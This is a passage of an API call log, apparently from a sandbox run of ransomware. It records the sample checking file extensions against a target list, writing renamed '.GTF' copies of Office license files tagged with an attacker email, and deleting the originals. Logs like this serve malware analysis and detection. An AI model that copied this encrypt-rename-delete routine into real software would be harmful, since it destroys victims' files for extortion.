	[0179.992] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.992] lstrlenW (lpString=".xlsx") returned 5
	[0179.992] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.992] lstrlenW (lpString=".ppt") returned 4
	[0179.992] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0179.992] lstrlenW (lpString=".zip") returned 4
	[0179.992] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.992] lstrlenW (lpString=".rar") returned 4
	[0179.992] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.992] lstrlenW (lpString=".bz2") returned 4
	[0179.992] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.992] lstrlenW (lpString=".7z") returned 3
	[0179.992] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0179.992] lstrlenW (lpString=".dbf") returned 4
	[0179.992] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0179.993] lstrlenW (lpString=".1cd") returned 4
	[0179.993] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84
	[0179.993] lstrlenW (lpString=".jpg") returned 4
	[0179.993] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.993] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0179.993] lstrlenW (lpString="O365HomePremR_SubTrial2-ppd.xrm-ms") returned 34
	[0179.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0180.080] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=23135) returned 1
	[0180.087] CloseHandle (hObject=0x554) returned 1
	[0180.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms")) returned 0x220
	[0180.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.101] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.101] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0180.102] GetLastError () returned 0x0
	[0180.102] ReadFile (in: hFile=0x3d4, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x5a5f, lpOverlapped=0x0) returned 1
	[0180.104] WriteFile (in: hFile=0x53c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0180.106] ReadFile (in: hFile=0x3d4, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.106] WriteFile (in: hFile=0x53c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x118, lpOverlapped=0x0) returned 1
	[0180.106] SetEndOfFile (hFile=0x53c) returned 1
	[0180.106] CloseHandle (hObject=0x53c) returned 1
	[0180.106] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.106] SetEndOfFile (hFile=0x3d4) returned 1
	[0180.109] CloseHandle (hObject=0x3d4) returned 1
	[0180.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms")) returned 1
	[0180.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0180.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0180.223] lstrlenW (lpString=".doc") returned 4
	[0180.224] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.224] lstrlenW (lpString=".docx") returned 5
	[0180.224] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.224] lstrlenW (lpString=".pdf") returned 4
	[0180.224] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.224] lstrlenW (lpString=".xls") returned 4
	[0180.224] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.224] lstrlenW (lpString=".xlsx") returned 5
	[0180.224] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.224] lstrlenW (lpString=".ppt") returned 4
	[0180.224] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0180.224] lstrlenW (lpString=".zip") returned 4
	[0180.224] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.224] lstrlenW (lpString=".rar") returned 4
	[0180.224] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.224] lstrlenW (lpString=".bz2") returned 4
	[0180.224] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.224] lstrlenW (lpString=".7z") returned 3
	[0180.224] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0180.224] lstrlenW (lpString=".dbf") returned 4
	[0180.224] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0180.224] lstrlenW (lpString=".1cd") returned 4
	[0180.224] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0180.224] lstrlenW (lpString=".jpg") returned 4
	[0180.224] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0180.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0180.224] lstrlenW (lpString=".doc") returned 4
	[0180.224] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.224] lstrlenW (lpString=".docx") returned 5
	[0180.224] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.225] lstrlenW (lpString=".pdf") returned 4
	[0180.225] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.225] lstrlenW (lpString=".xls") returned 4
	[0180.225] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.225] lstrlenW (lpString=".xlsx") returned 5
	[0180.225] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.225] lstrlenW (lpString=".ppt") returned 4
	[0180.225] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0180.225] lstrlenW (lpString=".zip") returned 4
	[0180.225] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.225] lstrlenW (lpString=".rar") returned 4
	[0180.225] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.225] lstrlenW (lpString=".bz2") returned 4
	[0180.225] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.225] lstrlenW (lpString=".7z") returned 3
	[0180.225] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0180.225] lstrlenW (lpString=".dbf") returned 4
	[0180.225] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0180.225] lstrlenW (lpString=".1cd") returned 4
	[0180.225] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0180.225] lstrlenW (lpString=".jpg") returned 4
	[0180.225] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.225] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.225] lstrlenW (lpString="O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 37
	[0180.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0180.226] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11635) returned 1
	[0180.226] CloseHandle (hObject=0x52c) returned 1
	[0180.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms")) returned 0x220
	[0180.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0180.227] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.227] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0180.228] GetLastError () returned 0x0
	[0180.228] ReadFile (in: hFile=0x52c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d73, lpOverlapped=0x0) returned 1
	[0180.253] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0180.254] ReadFile (in: hFile=0x52c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.254] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0180.254] SetEndOfFile (hFile=0x540) returned 1
	[0180.254] CloseHandle (hObject=0x540) returned 1
	[0180.254] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.254] SetEndOfFile (hFile=0x52c) returned 1
	[0180.257] CloseHandle (hObject=0x52c) returned 1
	[0180.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms")) returned 1
	[0180.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0180.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0180.577] lstrlenW (lpString=".doc") returned 4
	[0180.577] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.577] lstrlenW (lpString=".docx") returned 5
	[0180.577] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.577] lstrlenW (lpString=".pdf") returned 4
	[0180.577] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.577] lstrlenW (lpString=".xls") returned 4
	[0180.577] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.577] lstrlenW (lpString=".xlsx") returned 5
	[0180.577] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.577] lstrlenW (lpString=".ppt") returned 4
	[0180.577] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0180.577] lstrlenW (lpString=".zip") returned 4
	[0180.577] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.577] lstrlenW (lpString=".rar") returned 4
	[0180.577] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.577] lstrlenW (lpString=".bz2") returned 4
	[0180.577] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.577] lstrlenW (lpString=".7z") returned 3
	[0180.577] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0180.577] lstrlenW (lpString=".dbf") returned 4
	[0180.577] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0180.578] lstrlenW (lpString=".1cd") returned 4
	[0180.578] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0180.578] lstrlenW (lpString=".jpg") returned 4
	[0180.578] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0180.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0180.578] lstrlenW (lpString=".doc") returned 4
	[0180.578] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.578] lstrlenW (lpString=".docx") returned 5
	[0180.578] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.578] lstrlenW (lpString=".pdf") returned 4
	[0180.578] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.578] lstrlenW (lpString=".xls") returned 4
	[0180.578] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.578] lstrlenW (lpString=".xlsx") returned 5
	[0180.578] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.578] lstrlenW (lpString=".ppt") returned 4
	[0180.578] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0180.578] lstrlenW (lpString=".zip") returned 4
	[0180.578] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.578] lstrlenW (lpString=".rar") returned 4
	[0180.578] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.578] lstrlenW (lpString=".bz2") returned 4
	[0180.578] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.578] lstrlenW (lpString=".7z") returned 3
	[0180.578] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0180.578] lstrlenW (lpString=".dbf") returned 4
	[0180.578] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0180.578] lstrlenW (lpString=".1cd") returned 4
	[0180.578] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms") returned 87
	[0180.579] lstrlenW (lpString=".jpg") returned 4
	[0180.579] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.579] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.579] lstrlenW (lpString="O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 40
	[0180.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0180.580] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11646) returned 1
	[0180.580] CloseHandle (hObject=0x55c) returned 1
	[0180.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms")) returned 0x220
	[0180.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0180.580] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.580] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0180.581] GetLastError () returned 0x0
	[0180.581] ReadFile (in: hFile=0x55c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2d7e, lpOverlapped=0x0) returned 1
	[0180.646] WriteFile (in: hFile=0x504, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0180.647] ReadFile (in: hFile=0x55c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.647] WriteFile (in: hFile=0x504, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x124, lpOverlapped=0x0) returned 1
	[0180.647] SetEndOfFile (hFile=0x504) returned 1
	[0180.647] CloseHandle (hObject=0x504) returned 1
	[0180.647] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.647] SetEndOfFile (hFile=0x55c) returned 1
	[0180.650] CloseHandle (hObject=0x55c) returned 1
	[0180.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms")) returned 1
	[0180.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0180.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0180.651] lstrlenW (lpString=".doc") returned 4
	[0180.651] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.651] lstrlenW (lpString=".docx") returned 5
	[0180.651] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.651] lstrlenW (lpString=".pdf") returned 4
	[0180.651] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.651] lstrlenW (lpString=".xls") returned 4
	[0180.651] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.652] lstrlenW (lpString=".xlsx") returned 5
	[0180.652] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.652] lstrlenW (lpString=".ppt") returned 4
	[0180.652] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0180.652] lstrlenW (lpString=".zip") returned 4
	[0180.652] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.652] lstrlenW (lpString=".rar") returned 4
	[0180.652] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.652] lstrlenW (lpString=".bz2") returned 4
	[0180.652] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.652] lstrlenW (lpString=".7z") returned 3
